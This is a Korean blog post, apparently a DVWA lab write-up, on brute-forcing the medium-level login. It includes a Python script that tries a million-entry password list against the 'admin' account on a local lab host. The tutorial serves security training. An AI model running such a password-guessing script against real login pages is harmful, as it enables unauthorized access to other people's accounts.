2021/01/01 - [프로젝트/DVWA 실습] - DVWA 실습 #2 - Brute Force
문제 해결 방법
Medium 단계부터는 SQL Injection이 불가능하고 브루트 포스에 대한 방지책으로 로그인이 실패했을 때 2초동안 대기하게 된다. 기존에 1초도 안되서 빠른 응답을 받을 수 있었던 것과 달리 매 시도마다 올바른 비밀번호 입력을 제외하고는 무조건 2초가 걸리지만 반복적으로 들어오는 요청에 대한 대응이 없기 때문에 결국엔 공격에 성공하게 된다.
Python requests 모듈
지난번에 작성한 코드를 조금 수정하여 medium 레벨에서 브루트 포스 공격을 수행했다. admin 계정의 비밀번호인 'password'가 리스트 상위에 있었기 때문에 몇 초 걸리지 않았지만 비밀번호가 좀 더 복잡하거나 리스트의 아래쪽에 있었다면 몇 분이 걸릴지 몇 시간이 걸릴지 모르는 만큼 브루트 포스 공격의 한계를 볼 수 있는 실습이었다.
import requests
URL="http://192.168.56.103/dvwa/vulnerabilities/brute/"
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE',
'security': 'medium'}
params = {'username':'',
'password':'',
'Login':'Login'}
with open('10-million-password-list-top-1000000.txt') as f:
passwords = f.readlines()
passwords = [x.strip() for x in passwords]
with open('bf-output.txt', 'w') as f:
for password in passwords:
params['username'] = 'admin'
params['password'] = password
print("Trying {}...".format(password))
res = requests.get(URL, params=params, cookies=cookies)
if "Username and/or password incorrect." not in res.text:
print("Password found!: {}".format(password))
break
정말로 sleep(2) 함수에 의해 2초의 시간이 걸리는지 확인해보기 위해 time 모듈을 사용해본 결과 low와 medium 난이도의 시간차를 확인할 수 있었다.
Low 레벨에서는 둘 다 0.1초도 안되는 빠른 시간의 응답을 보였으나 Medium 레벨에서는 틀린 로그인 시도의 경우 2초가 추가된 것을 볼 수 있었다.
'프로젝트 > DVWA 실습' 카테고리의 다른 글
DVWA 실습 #3 - Command Injection (0) | 2021.01.05 |
---|---|
DVWA 실습 #2-3 - Brute Force(high) (0) | 2021.01.04 |
DVWA 실습 #2-1 - Brute Force(low) (0) | 2021.01.02 |
DVWA 실습 #2 - Brute Force (0) | 2021.01.01 |
DVWA 실습 #1 - 칼리 리눅스 설치, DVWA 1.9 설치 (0) | 2021.01.01 |